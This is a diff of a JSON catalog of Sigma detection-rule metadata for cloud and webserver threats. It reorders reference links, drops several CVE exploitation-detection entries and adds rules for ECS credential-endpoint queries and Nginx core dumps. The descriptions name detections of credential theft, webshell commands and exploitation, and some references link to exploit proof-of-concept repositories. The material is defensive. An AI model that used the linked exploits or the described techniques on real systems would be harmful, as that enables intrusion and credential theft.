"https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository", + "https://docs.github.com/en/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_disable_high_risk_configuration.yml" ], "tags": [ @@ -79543,8 +76139,8 @@ "logsource.category": "No established category", "logsource.product": "github", "refs": [ - "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization", "https://docs.github.com/en/code-security/dependabot/dependabot-alerts/about-dependabot-alerts", + "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_disabled_outdated_dependency_or_vulnerability.yml" ], "tags": [ @@ -79674,11 +76270,11 @@ "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ - "https://github.com/elastic/detection-rules/pull/1267", - "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", + "https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control", "https://kubernetes.io/docs/reference/kubernetes-api/authorization-resources/cluster-role-v1/#ClusterRole", "https://kubernetes.io/docs/reference/access-authn-authz/rbac/", - "https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control", + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", + "https://github.com/elastic/detection-rules/pull/1267", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_rolebinding.yml" ], "tags": [ @@ -79726,8 +76322,8 @@ "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ - "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", "https://kubernetes.io/docs/concepts/workloads/controllers/job/", + "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", "https://cloud.google.com/kubernetes-engine/docs", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_cronjob.yml" ], @@ -79956,8 +76552,8 @@ "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ - "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.PacketMirrorings.html", "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", + "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.PacketMirrorings.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_full_network_traffic_packet_capture.yml" ], "tags": [ @@ -79991,8 +76587,8 @@ "logsource.product": "google_workspace", "refs": [ "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION", "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION_FROM_WHITELIST", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_application_removed.yml" ], "tags": [ @@ -80204,11 +76800,11 @@ "refs": [ "https://github.com/elastic/detection-rules/pull/1145/files", "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketWebsite.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html", "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketEncryption.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html", "https://docs.aws.amazon.com/AmazonS3/latest/API/API_RestoreObject.html", "https://docs.aws.amazon.com/AmazonS3/latest/userguide/setting-repl-config-perm-overview.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_s3_data_management_tampering.yml" ], "tags": [ @@ -80338,40 +76934,6 @@ "uuid": "a607e1fe-74bf-4440-a3ec-b059b9103157", "value": "AWS SecurityHub Findings Evasion" }, - { - "description": "Detects when an Elastic Container Service (ECS) Task Definition has been modified and run.\nThis can indicate an adversary adding a backdoor to establish persistence or escalate privileges.\nThis rule is based on examining events created upon execution of Rhino Security Lab's Pacu in a lab environment.\n", - "meta": { - "author": "Darin Smith", - "creation_date": "2022/06/07", - "falsepositive": [ - "Task Definition being modified to request credentials from the Task Metadata Service for valid reasons" - ], - "filename": "aws_ecs_task_definition_backdoor.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ecs__backdoor_task_def/main.py", - "https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_RegisterTaskDefinition.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ecs_task_definition_backdoor.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1525" - ] - }, - "related": [ - { - "dest-uuid": "4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "b94bf91e-c2bf-4047-9c43-c6810f43baad", - "value": "AWS ECS Backdoor Task Definition" - }, { "description": "Detects an instance of an SES identity being deleted via the \"DeleteIdentity\" event. This may be an indicator of an adversary removing the account that carried out suspicious or malicious activities", "meta": { @@ -80849,9 +77411,9 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ + "https://jamesonhacking.blogspot.com/2020/12/pivoting-to-private-aws-s3-buckets.html", "https://securitycafe.ro/2022/12/14/aws-enumeration-part-ii-practical-enumeration/", "https://github.com/Lifka/hacking-resources/blob/c2ae355d381bd0c9f0b32c4ead049f44e5b1573f/cloud-hacking-cheat-sheets.md", - "https://jamesonhacking.blogspot.com/2020/12/pivoting-to-private-aws-s3-buckets.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_enum_buckets.yml" ], "tags": [ @@ -80995,6 +77557,41 @@ "uuid": "b45ab1d2-712f-4f01-a751-df3826969807", "value": "AWS STS GetSessionToken Misuse" }, + { + "description": "Detects when an Elastic Container Service (ECS) Task Definition includes a command to query the credential endpoint.\nThis can indicate a potential adversary adding a backdoor to establish persistence or escalate privileges.\n", + "meta": { + "author": "Darin Smith", + "creation_date": "2022/06/07", + "falsepositive": [ + "Task Definition being modified to request credentials from the Task Metadata Service for valid reasons" + ], + "filename": "aws_ecs_task_definition_cred_endpoint_query.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ecs__backdoor_task_def/main.py", + "https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_RegisterTaskDefinition.html", + "https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ecs_task_definition_cred_endpoint_query.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1525" + ] + }, + "related": [ + { + "dest-uuid": "4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "b94bf91e-c2bf-4047-9c43-c6810f43baad", + "value": "AWS ECS Task Definition That Queries The Credential Endpoint" + }, { "description": "Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.", "meta": { @@ -81065,9 +77662,9 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html", "https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html", "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml", + "https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_route_53_domain_transferred_lock_disabled.yml" ], "tags": [ @@ -81125,8 +77722,8 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/", "https://docs.aws.amazon.com/glue/latest/webapi/API_CreateDevEndpoint.html", + "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_passed_role_to_glue_development_endpoint.yml" ], "tags": [ @@ -82176,8 +78773,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://github.com/elastic/detection-rules/blob/065bf48a9987cd8bd826c098a30ce36e6868ee46/rules/integrations/azure/impact_kubernetes_pod_deleted.toml", "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://github.com/elastic/detection-rules/blob/065bf48a9987cd8bd826c098a30ce36e6868ee46/rules/integrations/azure/impact_kubernetes_pod_deleted.toml", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_pods_deleted.yml" ], "tags": [ @@ -82371,10 +78968,10 @@ "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cluster_created_or_deleted.yml" ], "tags": [ @@ -83494,10 +80091,10 @@ "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_secret_or_config_object_access.yml" ], "tags": [ @@ -83565,10 +80162,10 @@ "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_role_access.yml" ], "tags": [ @@ -83746,10 +80343,10 @@ "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_container_registry_created_or_deleted.yml" ], "tags": [ @@ -83805,8 +80402,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://github.com/elastic/detection-rules/blob/da3852b681cf1a33898b1535892eab1f3a76177a/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_events_deleted.yml" ], "tags": [ @@ -83890,10 +80487,10 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://kubernetes.io/docs/concepts/workloads/controllers/job/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cronjob.yml" ], "tags": [ @@ -83996,10 +80593,10 @@ "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_rolebinding_modified_or_deleted.yml" ], "tags": [ @@ -84629,10 +81226,10 @@ "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_network_policy_change.yml" ], "tags": [ @@ -84658,10 +81255,10 @@ "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_service_account_modified_or_deleted.yml" ], "tags": [ @@ -84681,6 +81278,40 @@ "uuid": "12d027c3-b48c-4d9d-8bb6-a732200034b2", "value": "Azure Kubernetes Service Account Modified or Deleted" }, + { + "description": "Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.", + "meta": { + "author": "Florian Roth (Nextron Systems)", + "creation_date": "2021/05/31", + "falsepositive": [ + "Serious issues with a configuration or plugin" + ], + "filename": "web_nginx_core_dump.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "No established product", + "refs": [ + "https://docs.nginx.com/nginx/admin-guide/monitoring/debugging/#enabling-core-dumps", + "https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/product/nginx/web_nginx_core_dump.yml" + ], + "tags": [ + "attack.impact", + "attack.t1499.004" + ] + }, + "related": [ + { + "dest-uuid": "2bee5ffb-7a7a-4119-b1f2-158151b19ac0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "59ec40bb-322e-40ab-808d-84fa690d7e56", + "value": "Nginx Core Dump" + }, { "description": "Detects an issue in apache logs that reports threading related errors", "meta": { @@ -84735,41 +81366,6 @@ "uuid": "1da8ce0b-855d-4004-8860-7d64d42063b1", "value": "Apache Segmentation Fault" }, - { - "description": "Detects the exploitation of the VMware View Planner vulnerability described in CVE-2021-21978", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2020/03/10", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_21978_vmware_view_planner_exploit.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://twitter.com/wugeej/status/1369476795255320580", - "https://paper.seebug.org/1495/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_21978_vmware_view_planner_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2021.21978" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "77586a7f-7ea4-4c41-b19c-820140b84ca9", - "value": "CVE-2021-21978 Exploitation Attempt" - }, { "description": "Detects common commands used in Windows webshells", "meta": { @@ -84784,8 +81380,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://bad-jubies.github.io/RCE-NOW-WHAT/", "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://bad-jubies.github.io/RCE-NOW-WHAT/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_win_webshells_in_access_logs.yml" ], "tags": [ @@ -84805,292 +81401,6 @@ "uuid": "7ff9db12-1b94-4a79-ba68-a2402c5d6729", "value": "Windows Webshell Strings" }, - { - "description": "Detects exploitation attempts on WebLogic servers", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/11/02", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2020_14882_weblogic_exploit.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://twitter.com/sudo_sudoka/status/1323951871078223874", - "https://isc.sans.edu/diary/26734", - "https://twitter.com/jas502n/status/1321416053050667009?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2020_14882_weblogic_exploit.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "cve.2020.14882" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "85d466b0-d74c-4514-84d3-2bdd3327588b", - "value": "Oracle WebLogic Exploit CVE-2020-14882" - }, - { - "description": "Detects potential exploitation of CVE-2021-260841 a Confluence RCE using OGNL injection", - "meta": { - "author": "Sittikorn S, Nuttakorn T", - "creation_date": "2022/12/13", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_26084_confluence_rce_exploit.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/TesterCC/exp_poc_library/blob/master/exp_poc/CVE-2021-26084_Confluence_OGNL_injection/CVE-2021-26084.md", - "https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html", - "https://mraddon.blog/2017/03/20/confluence-trick-to-create-pages-from-blueprint-templates/", - "https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_26084_confluence_rce_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "38825179-3c78-4fed-b222-2e2166b926b1", - "value": "Potential CVE-2021-26084 Exploitation Attempt" - }, - { - "description": "Detects exploitation attempts of the SonicWall Jarrewrite Exploit", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/01/25", - "falsepositive": [ - "Unknown" - ], - "filename": "web_sonicwall_jarrewrite_exploit.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_sonicwall_jarrewrite_exploit.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "6f55f047-112b-4101-ad32-43913f52db46", - "value": "SonicWall SSL/VPN Jarrewrite Exploit" - }, - { - "description": "Detects exploitation attempts in Exchange server logs as described in blog posts reporting on HAFNIUM group activity", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/03/03", - "falsepositive": [ - "Legitimate access to other web applications that use the same folder names as Exchange (e.g. owa, ecp) but are not Microsoft Exchange related" - ], - "filename": "web_exchange_exploitation_hafnium.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_exchange_exploitation_hafnium.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "67bce556-312f-4c81-9162-c3c9ff2599b2", - "value": "Exchange Exploitation Used by HAFNIUM" - }, - { - "description": "Detects access to SUPERNOVA webshell as described in Guidepoint report", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/12/17", - "falsepositive": [ - "Unknown" - ], - "filename": "web_solarwinds_supernova_webshell.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.anquanke.com/post/id/226029", - "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_solarwinds_supernova_webshell.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "related": [ - { - "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "a2cee20b-eacc-459f-861d-c02e5d12f1db", - "value": "Solarwinds SUPERNOVA Webshell Access" - }, - { - "description": "Detects access to a webshell dropped into a keystore folder on the WebLogic server", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/07/22", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2018_2894_weblogic_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://twitter.com/pyn3rd/status/1020620932967223296", - "https://github.com/LandGrey/CVE-2018-2894", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2018_2894_weblogic_exploit.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "attack.persistence", - "attack.t1505.003", - "cve.2018.2894" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "37e8369b-43bb-4bf8-83b6-6dd43bda2000", - "value": "Oracle WebLogic Exploit" - }, - { - "description": "Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/07/10", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2020_8193_8195_citrix_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://support.citrix.com/article/CTX276688", - "https://dmaasland.github.io/posts/citrix.html", - "https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2020_8193_8195_citrix_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "0d0d9a8a-a49e-4e27-b061-7ce4b936cfb7", - "value": "Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195" - }, - { - "description": "Detects a successful Grafana path traversal exploitation", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/12/08", - "falsepositive": [ - "Vulnerability scanners that scan a host that returns 200 status codes even in cases of a file not found or other error" - ], - "filename": "web_cve_2021_43798_grafana.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/search?q=CVE-2021-43798", - "https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_43798_grafana.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "7b72b328-5708-414f-9a2a-6a6867c26e16", - "value": "Grafana Path Traversal Exploitation CVE-2021-43798" - }, { "description": "Detects exploitation attempt using the JDNIExploiit Kit", "meta": { @@ -85104,8 +81414,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://githubmemory.com/repo/FunctFan/JNDIExploit", "https://github.com/pimps/JNDI-Exploit-Kit", + "https://githubmemory.com/repo/FunctFan/JNDIExploit", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_jndi_exploit.yml" ], "tags": "No established tags" @@ -85113,121 +81423,10 @@ "uuid": "412d55bc-7737-4d25-9542-5b396867ce55", "value": "JNDIExploit Pattern" }, - { - "description": "Detects exploitation attempt of the CVE-2021-27905 which affects all Apache Solr versions prior to and including 8.8.1.", - "meta": { - "author": "@gott_cyber", - "creation_date": "2022/12/11", - "falsepositive": [ - "Vulnerability Scanners" - ], - "filename": "web_cve_2021_27905_apache_solr_exploit.yml", - "level": "medium", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247484117&idx=1&sn=2fdab8cbe4b873f8dd8abb35d935d186", - "https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/", - "https://twitter.com/sec715/status/1373472323538362371", - "https://github.com/murataydemir/CVE-2021-27905", - "https://twitter.com/Al1ex4/status/1382981479727128580", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_27905_apache_solr_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2021.27905" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "0bbcd74b-0596-41a4-94a0-4e88a76ffdb3", - "value": "Potential CVE-2021-27905 Exploitation Attempt" - }, - { - "description": "Detects an attempt to leverage the vulnerable servlet \"mboximport\" for an unauthenticated remote command injection", - "meta": { - "author": "@gott_cyber", - "creation_date": "2022/08/17", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2022_27925_exploit.yml", - "level": "medium", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/", - "https://github.com/vnhacker1337/CVE-2022-27925-PoC", - "https://www.yang99.top/index.php/archives/82/", - 